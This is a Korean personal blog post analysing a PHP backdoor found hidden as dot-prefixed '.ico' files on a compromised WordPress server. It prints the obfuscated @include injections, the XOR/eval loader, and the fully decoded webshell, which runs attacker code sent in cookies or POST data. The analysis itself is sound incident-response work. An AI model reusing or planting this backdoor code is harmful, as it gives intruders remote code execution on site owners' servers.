annyoung

워드프레스 ico 악성코드 분석기.. 본문

분석생활

워드프레스 ico 악성코드 분석기..

nopsled 2019. 2. 1. 13:01

수정내역

2019-02-01 : 침해사고된 wordpress, theme 버전 추가 
2019-02-11 : linux crontab list check
2019-02-12 : 치료방법 추가

개요

여태까지 리눅스 파일 권한의 중요성을 몰랐다..


침해된것도 7일전 쯤 알았다. 아무튼 간에 영어로 쓰고 싶지만 한국사람들을 먼저.. 


지금도 고치는 법을 몰라서 열심히 계속 늘려가면서 써보겠다.


한 10월쯤 회사에 외국인이 들어오면서 git으로 wordpress를 버전관리하면서 사용하고 있었는데 어느날 갑자기 침해당해있었다.. 확인해보니 거의 1년간 침해된 사실을 모르고 있었다.


* main : wordpress 5.0.3 , avada theme 5.4.1

* plugins : elementor, xyz php injector ... etc



분석시작

for user in $(cut -f1 -d: /etc/passwd); do echo id $user; sudo crontab -u $user -l ; done 

악성파일이 계속 생기길래 크론탭을 확인해보았으나 이전에 등록했던 크론탭 밖에 없어서 그냥 내비뒀다.



우선 기업의 이미지를 위해서 블러처리를 했다.


해당 ico 파일은 파일명 앞에 .을 넣음으로써 숨김파일로 만들어져있었고 .bak는 내가 백업하려고 만들어뒀다.


* 다형성 악성코드로 판단되니까 check sum 값은 그냥 무시해도 된다. (그 이유는 다음에 나온다)




github에 올라와 있는 wordprss 원본 소스를 확인해봤으나 Diff 디렉터리에는 ico 따위는 없다.



1
2
3
4
data****@360MUSEUM:/var/www/html$ find . -name "*.ico"
./wp-content/plugins/floating-div/.565c8c75.ico
./.git/objects/33/.447ed1db.ico
data****@360MUSEUM:/var/www/html$
cs

거의 일주일이 지나고 그냥 삭제하자! 하고 삭제했었는데 다시 보니까 다른 디렉터리에 또 만들어졌다.


우선 여기만 봐도 파일명이 ".[랜덤8자리].ico"로 저장된다는걸 알 수 있다. 대부분의 악성코드나 백도어는 랜덤으로 파일명으로 드랍하는 경우 다형성 악성코드로 판단된다.



1
2
3
4
5
6
7
8
9
data****@360MUSEUM:/var/www/html$ find . -name "*.ico" -type f -exec md5sum {} \;
6d90e880bb5c1f22d332eb420e76dea3  ./wp-content/plugins/floating-div/.565c8c75.ico
19aa5f991df1984daaa7ed78cdc61711  ./.git/objects/33/.447ed1db.ico
data****@360MUSEUM:/var/www/html$ 퍄 ./wp-content/plugins/floating-div/^C
data****@360MUSEUM:/var/www/html$ file ./wp-content/plugins/floating-div/.565c8c75.ico
./wp-content/plugins/floating-div/.565c8c75.ico: PHP script, ASCII text, with very long lines
data****@360MUSEUM:/var/www/html$ cat ./wp-content/plugins/floating-div/.565c8c75.ico | wc -l
2
data****@360MUSEUM:/var/www/html$
cs


MD5 check sum 마저 다른걸 볼 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data****@360MUSEUM:/var/www/html$ egrep -R "@include \"" /var/www/html/
/museum/inc/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/museum/js/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/museum/index.php:@include "\\057var/\\167ww/h\\164ml/w\\160-con\\164ent/\\160lugi\\156s/fl\\157atin\\147-div\\057.565\\1438c75\\056ico";
/embed/asset/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/embed/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157";
/embed/css/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157";
/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/matter****/inc/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/matter****/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/matter****/debug/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/matter****/user/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/matter****/tour/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/matter****/admin/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/wp-config.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/wp-snapshots/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/logs_for_admin/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/admin/js/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/admin/fonts/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/admin/utils/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/admin/img/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/admin/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/admin/css/index.php:@include "\057va\162/w\167w/\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s/\146lo\141ti\156g-\144iv\057.5\0665c\070c7\065.i\143o";
/admin/backend/index.php:@include "\057var\057www\057htm\154/wp\055con\164ent\057plu\147ins\057flo\141tin\147-di\166/.5\0665c8\14375.\151co";
/admin/tour/index.php:@include "\057var/\167ww/h\164ml/w\160-con\164ent/\160lugi\156s/fl\157atin\147-div\057.565\1438c75\056ico";
/wordpress/index.php:@include "\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\154o\141t\151n\147-\144i\166/\0565\0665\1438\1437\065.\151c\157";
cs



해당 .[랜덤8자리]ico 파일들은 실행 가능한 모든 .php에서 볼수있다.


따라서 @include가 포함된 모든 파일들은 아래 소스코드를 실행할 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$_3j0av = basename/*n8w*/
(/*46pw*/
    trim/*073wp*/
    (/*3x0vd*/
        preg_replace/*4py1*/
        (/*4xg*/
            rawurldecode/*b*/
            (/*uld4*/
                "%2F%5C%28.%2A%24%2F"/*m0j*/)/*5*/'', __FILE__/*q2*/)/*qi*//*va8*/)/*z2rgo*//*y8ptj*/)/*0dj*/
;
$_j7cb0 = "GS%16%1DB%5C%06Q%5C%40%0C%07G%09FBG%06Y%0EhVA%07%17%0AVAiV%11%5D%02...";
eval/*2n*/
(/*i1*/
    rawurldecode/*3s*/
    (/*xlf1*/
        $_j7cb0/*5*/)/*w1*/ ^ substr/*ibhv*/
    (/*tz4hu*/
        str_repeat/*iqm*/
        (/*fq8*/
            $_3j0av, /*rf40*/
            (/*zg*/
                strlen/*x6w*/
                (/*3*/
                    $_j7cb0/*j8efc*/)/*kjf*/ / strlen/*73g*/
                (/*7jocu*/
                    $_3j0av/*bo8*/)/*dv*//*gunx*/)/*etu4s*/ + 1/*lj*/)/*xqw2*/0, strlen/*mr*/
    (/*i5u1l*/
        $_j7cb0/*b*/)/*3zg*//*ci*/)/*dcni8*//*f7*/)/*4et*/
;
 
cs


해당 ico 파일의 내부 소스코드는 위와 같다. 너무 긴 내용은 짤라서 수정했다.


eval을 echo로 치환하여 다음 커맨드라인을 실행한다. (여기서 중요시 해야 되는 부분은 파일명을 변경하면 안된다는것이다.)




1
$ php .565c8c75.ico > decode.php
cs

위와같이 php 파일을 실행하여 결과를 출력하면




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?
if (!defined('stream_context_create ')) {
    define('stream_context_create '1);
 
    $nsrqb = 2406;
    function wcyumv($wjfhi$hivcowczz)
    {
        $mdgjovw = '';
        for ($i = 0$i < strlen($wjfhi); $i++) {
            $mdgjovw .= isset($hivcowczz[$wjfhi[$i]]) ? $hivcowczz[$wjfhi[$i]] : $wjfhi[$i];
        }
        $cpbfxbelw = "rawurl" . "decode";
        return $cpbfxbelw($mdgjovw);
    }
 
    $rsrimcizgc = '%V3%Vw%V3%Vw%oVUQU_Pa1%ui%ueaRR9R_d9S%ue%uz%uVHt44%uC%5f%V3%Vw%oVUQU_Pa1%ui' .
    ...
    '%Vw%uV%uV%uV%uV6L1LU9dj%ui%uC%5f%V3%Vw%e3';
    $zmrjjjgk = Array('1' => 't''0' => 'S''3' => 'D''2' => 'R''5' => '3''4' => 'L''7' => 'P',
                      '6' => 'a''9' => 'o''8' => 'E''A' => 'Y''C' => '9''B' => 'u''E' => '1',
                      'D' => 'y''G' => 'H''F' => 'w''I' => 'T''H' => 'N''K' => 'I''J' => 'M',
                      'M' => 'z''L' => 'q''O' => '6''N' => 'p''Q' => 'n''P' => 's''S' => 'g',
                      'R' => 'r''U' => 'i''T' => 'd''W' => 'V''V' => '0''Y' => 'G''X' => 'j',
                      'Z' => 'J''a' => 'e''c' => 'Q''b' => '5''e' => '7''d' => 'l''g' => 'k',
                      'f' => 'B''i' => '8''h' => 'F''k' => 'b''j' => 'c''m' => 'X''l' => 'W',
                      'o' => '4''n' => 'O''q' => 'Z''p' => 'v''s' => 'x''r' => 'K''u' => '2',
                      't' => 'U''w' => 'A''v' => 'm''y' => 'h''x' => 'f''z' => 'C');
    eval/*jukogtj*/
    (wcyumv($rsrimcizgc$zmrjjjgk));
}
cs

첫번째로 디코딩된 코드를 얻을 수 있다.


똑같은 방식으로 eval을 echo로 치환하여 진행하도록 한다.



1
$ php decoded.php > decode-detail.php
cs

한번더 디코딩하여 파일로 저장한다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
<?php
@ini_set('error_log'NULL);
@ini_set('log_errors'0);
@ini_set('max_execution_time'0);
@error_reporting(0);
@set_time_limit(0);
 
 
if(!defined("PHP_EOL"))
{
    define("PHP_EOL""\n");
}
 
if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR""/");
}
 
if (!defined('file_put_contents '))
{
    define('file_put_contents '1);
 
    $ulvyriamydpk = '969188fa-fc27-4913-a107-e9120993f6cf';
    global $ulvyriamydpk;
 
    function xeaysioy($ybsdmjs) {
 
        if (strlen($ybsdmjs< 4)
        {
            return "";
        }
 
        $vubfgjxt = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 
        $vjqjwt = str_split($vubfgjxt);
        $vjqjwt = array_flip($vjqjwt);
 
        $pblzzhdj = 0;
        $ljfivjac = "";
 
        $ybsdmjs = preg_replace("~[^A-Za-z0-9\+\/\=]~"""$ybsdmjs);
 
        do {
            $uwyabpw = $vjqjwt[$ybsdmjs[$pblzzhdj++]];
            $ekjsdrd = $vjqjwt[$ybsdmjs[$pblzzhdj++]];
            $heemaswamyrkbg = $vjqjwt[$ybsdmjs[$pblzzhdj++]];
            $zylubli = $vjqjwt[$ybsdmjs[$pblzzhdj++]];
 
            $pecfsiu = ($uwyabpw << 2| ($ekjsdrd >> 4);
            $rrfxrk = (($ekjsdrd & 15<< 4| ($heemaswamyrkbg >> 2);
            $mjjinimnhfx = (($heemaswamyrkbg & 3<< 6| $zylubli;
            $ljfivjac = $ljfivjac . chr($pecfsiu);
            if ($heemaswamyrkbg != 64) {
                $ljfivjac = $ljfivjac . chr($rrfxrk);
            }
            if ($zylubli != 64) {
                $ljfivjac = $ljfivjac . chr($mjjinimnhfx);
            }
        } while ($pblzzhdj < strlen($ybsdmjs));
        return $ljfivjac;
    }
 
    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($mjwfjug$mjjini$pewybuk = False)
        {
            $efmbxca = $pewybuk == 8 ? 'a' : 'w';
            $heemaswa = @fopen($mjwfjug$efmbxca);
            if ($heemaswa === False)
            {
                return 0;
            }
            else
            {
                if (is_array($mjjini)) $mjjini = implode($mjjini);
                $cjwgxqzp = fwrite($heemaswa$mjjini);
                fclose($heemaswa);
                return $cjwgxqzp;
            }
        }
    }
 
    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($kdrqmj)
        {
            $ulvyrinoznc = fopen($kdrqmj"r");
            $ugrkkayz = fread($ulvyrinoznc, filesize($kdrqmj));
            fclose($ulvyrinoznc);
 
            return $ugrkkayz;
        }
    }
    function ddyquy()
    {
        return trim(preg_replace("/\(.*\$/"'', __FILE__));
    }
 
    function owgojryx($rmpaduvg$cifqbcqm)
    {
        $bbchwnz = "";
 
        for ($pblzzhdj=0$pblzzhdj<strlen($rmpaduvg);)
        {
            for ($ulvyri=0$ulvyri<strlen($cifqbcqm&& $pblzzhdj<strlen($rmpaduvg); $ulvyri++$pblzzhdj++)
            {
                $bbchwnz .= chr(ord($rmpaduvg[$pblzzhdj]) ^ ord($cifqbcqm[$ulvyri]));
            }
        }
 
        return $bbchwnz;
    }
 
    function tdlyqn($rmpaduvg$cifqbcqm)
    {
        global $ulvyriamydpk;
 
        return owgojryx(owgojryx($rmpaduvg$cifqbcqm), $ulvyriamydpk);
    }
    function lhvtpwx($rmpaduvg$cifqbcqm)
    {
        global $ulvyriamydpk;
 
        return owgojryx(owgojryx($rmpaduvg$ulvyriamydpk), $cifqbcqm);
    }
 
    function jkdddk()
    {
        $kcvyep = @file_get_contents(ddyquy());
 
        $vtgkgz = strpos($kcvyepmd5(ddyquy()));
        if ($vtgkgz !== FALSE)
        {
            $xjfdfy = substr($kcvyep$vtgkgz + 32);
            $hsgypcnh = @unserialize(tdlyqn(rawurldecode($xjfdfy), md5(ddyquy())));
        }
        else
        {
            $hsgypcnh = Array();
        }
 
        return $hsgypcnh;
    }
 
    function namfqq($hsgypcnh)
    {
        $pejqnflx = rawurlencode(lhvtpwx(@serialize($hsgypcnh), md5(ddyquy())));
        $kcvyep = @file_get_contents(ddyquy());
 
        $vtgkgz = strpos($kcvyepmd5(ddyquy()));
        if ($vtgkgz !== FALSE)
        {
            $ulvyrizlwwm = substr($kcvyep$vtgkgz + 32);
            $kcvyep = str_replace($ulvyrizlwwm$pejqnflx$kcvyep);
 
        }
        else
        {
            $kcvyep = $kcvyep . "\n\n//" . md5(ddyquy()) . $pejqnflx;
        }
 
        @file_put_contents(ddyquy(), $kcvyep);
    }
 
    function pvhahcaj($mjjiniorxywz$zhvtsqy)
    {
        $hsgypcnh = jkdddk();
 
        $hsgypcnh[$mjjiniorxywz= xeaysioy($zhvtsqy);
 
        namfqq($hsgypcnh);
    }
 
    function rocqwop($mjjiniorxywz)
    {
        $hsgypcnh = jkdddk();
 
        unset($hsgypcnh[$mjjiniorxywz]);
 
        namfqq($hsgypcnh);
    }
 
    function aqtqiolc($mjjiniorxywz=NULL)
    {
        foreach (jkdddk() as $mjjinimnqimku=>$xkyimzk)
        {
            if ($mjjiniorxywz)
            {
                if (strcmp($mjjiniorxywz$mjjinimnqimku== 0)
                {
                    eval($xkyimzk);
                    break;
                }
            }
            else
            {
                eval($xkyimzk);
            }
        }
    }
 
    foreach (array_merge($_COOKIE$_POSTas $kjeygjx => $rmpaduvg)
    {
        $rmpaduvg = @unserialize(tdlyqn(xeaysioy($rmpaduvg), $kjeygjx));
 
        if (isset($rmpaduvg['ak']) && $ulvyriamydpk==$rmpaduvg['ak'])
        {
            if ($rmpaduvg['a'== 'i')
            {
                $pblzzhdj = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $rmpaduvg['ak'],
                );
                echo @serialize($pblzzhdj);
                exit;
            }
            elseif ($rmpaduvg['a'== 'e')
            {
                eval($rmpaduvg['d']);
            }
            elseif ($rmpaduvg['a'== 'plugin')
            {
                if($rmpaduvg['sa'== 'add')
                {
                    pvhahcaj($rmpaduvg['p'], $rmpaduvg['d']);
                }
                elseif($rmpaduvg['sa'== 'rem')
                {
                    rocqwop($rmpaduvg['p']);
                }
            }
            echo $rmpaduvg['ak'];
            exit();
        }
    }
 
    aqtqiolc();
}
cs


최종적으로 위와 같은 코드를 얻는다.



 *** 여기서부터 분석하기전에 모든 eval을 echo로 치환하길 바란다. ***



238번 라인의 aqtqiolc() 를 tracing 하다보면 몇개의 call function이 보인다.


그중에서도 주기적으로 나오는 function ddyquy()를 만나게 된다.


function ddyquy()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

(번외지만 phpstorm에서 복사해서 여기에 붙여넣기하면 color highlighting이 되네...)


해당 함수는 현재 파일을 만난다.


===> 여기서부터는 시간되는대로 계속 분석하겠다.






치료방법

치료하는 방법은 아직 정확하게 찾지 못했지만 wordfence라는 wordpress plugin을 설치함으로써 attacker의 suspicious packet을 모두 abort 시켜준다.



항상 오전 6시에 attacker가 공격을 시도했었지만 로깅이 안되어서 할방법이 없었지만 wordfence에서 자동으로 prevent 해준다는 점이다.


또 이 플러그인이 좋은점은 Firewall learning mode라는 것을 통해서 inbound packet을 분류하여 abort할 firewall 규칙을 자동으로 추가해준다.


하지만 그 기간동안은 logging이 안된다고 한다. 추후 더 써보도록 하겠다.


Wordfence URL : https://ko.wordpress.org/plugins/wordfence/







* 참고 사이트 : 

      참고1. 해당 악성코드 분석 내용 : https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/

      참고2. 모든 crontab 확인 : https://ch7895.wordpress.com/2013/01/22/%EB%AA%A8%EB%93%A0-cron-%ED%99%95%EC%9D%B8/




Comments